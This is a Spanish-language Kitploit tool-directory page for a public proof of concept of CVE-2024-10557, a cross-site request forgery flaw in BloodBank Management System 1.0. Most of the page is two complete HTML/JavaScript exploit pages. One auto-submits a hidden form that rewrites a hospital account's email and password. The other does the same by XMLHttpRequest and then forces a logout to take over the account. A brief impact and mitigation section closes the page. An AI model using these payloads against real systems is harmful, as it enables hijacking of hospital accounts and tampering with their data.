Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-10557 — Un CSRF POC para actualizar el perfil de un hospital que conduce a la toma de control de la cuenta | Kitploit
Herramientas/GitHubGitHub/bevennyamande/cve-2024-10557
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubbevennyamande/cve-2024-10557

CVE-2024-10557

Un CSRF POC para actualizar el perfil de un hospital que conduce a la toma de control de la cuenta

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Versión afectada:

  • BloodBank Management System: 1.0

Información de la vulnerabilidad:

  • Tipo de vulnerabilidad: Cross Site Request Forgery (CSRF)
  • Gravedad: ALTA
  • Estado: Sin parche

Endpoint vulnerable:

  • Ruta: /file/updateprofile.php

Descripción de la vulnerabilidad:

Existe una vulnerabilidad CSRF en este endpoint /file/updateprofile.php que permite a un usuario remoto actualizar los detalles de usuario de un hospital y puede conducir a una toma de control de la cuenta, ya que el atacante puede actualizar toda la información desde el correo electrónico hasta la contraseña, aumentando efectivamente las posibilidades de toma de control de la cuenta.

Una explotación exitosa puede llevar a acciones no autorizadas, por ejemplo, eliminación de datos en nombre de la víctima. Además, esto podría ser explotado visitando sitios web maliciosos con el payload.


Prueba de Concepto (PoC):

A continuación se muestra un ejemplo de un Ataque CSRF POC que actualiza los detalles del perfil de una cuenta de hospital con sesión iniciada; aloje el archivo en un dominio controlado por el atacante, en mi caso estaba usando localhost:

root@kitploit:~

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC with Logout Redirect</title>
</head>
<body>
    <h2>CSRF Proof of Concept with Chained Logout</h2>

    <!-- Form to exploit CSRF vulnerability for updating profile -->
    <form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
        <input type="hidden" name="hname" value="parirenyatwa">
        <input type="hidden" name="hemail" value="[email protected]">
        <input type="hidden" name="hpassword" value="pari1234">
        <input type="hidden" name="hphone" value="0777054000">
        <input type="hidden" name="hcity" value="harare">
        <input type="hidden" name="update" value="Update">
    </form>

    <script>
        // Submit the CSRF form to update profile
        document.getElementById("csrfForm").submit();
   </script>
</body>
</html>



Prueba de Concepto (POC) para la Toma de Control de la Cuenta

El atacante puede actualizar efectivamente los detalles del perfil manipulando el correo electrónico y la contraseña y forzar un logout CSRF logrando así la toma de control de la cuenta.

root@kitploit:~

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
    <h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>

    <script>
        // Define the target URLs for the CSRF attack
        const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
        const logoutUrl = "http://localhost.local/bloodbank/logout.php";

        // Data for the profile update CSRF request
        const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";

        // Function to send the XMLHttpRequest
        function sendCSRFUpdate() {
            const xhr = new XMLHttpRequest();
            xhr.open("POST", updateUrl, true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

            // When the request is complete, redirect to the logout page
            xhr.onload = function() {
                if (xhr.status === 200) {
                    console.log("Profile update CSRF request completed");
                    // Redirect to logout URL to log the victim out
                    window.location.href = logoutUrl;
                } else {
                    console.error("Profile update failed with status:", xhr.status);
                }
            };

            // Send the request with the update data
            xhr.send(updateData);
        }

        // Trigger the CSRF attack by sending the update request
        sendCSRFUpdate();
    </script>
</body>
</html>




Impacto:

  • Manipulación de datos: Los atacantes podrían modificar el contenido mostrado a los usuarios.
  • Daño reputacional: Los usuarios podrían perder la confianza en el sistema debido a comportamientos maliciosos.

Recomendaciones de mitigación:

  1. Usar token CSRF Implementar un mecanismo para disuadir el acceso entre dominios o poner tokens CSRF en sus solicitudes y también evitar que las solicitudes GET realicen acciones de cambio de estado.
Descargar herramienta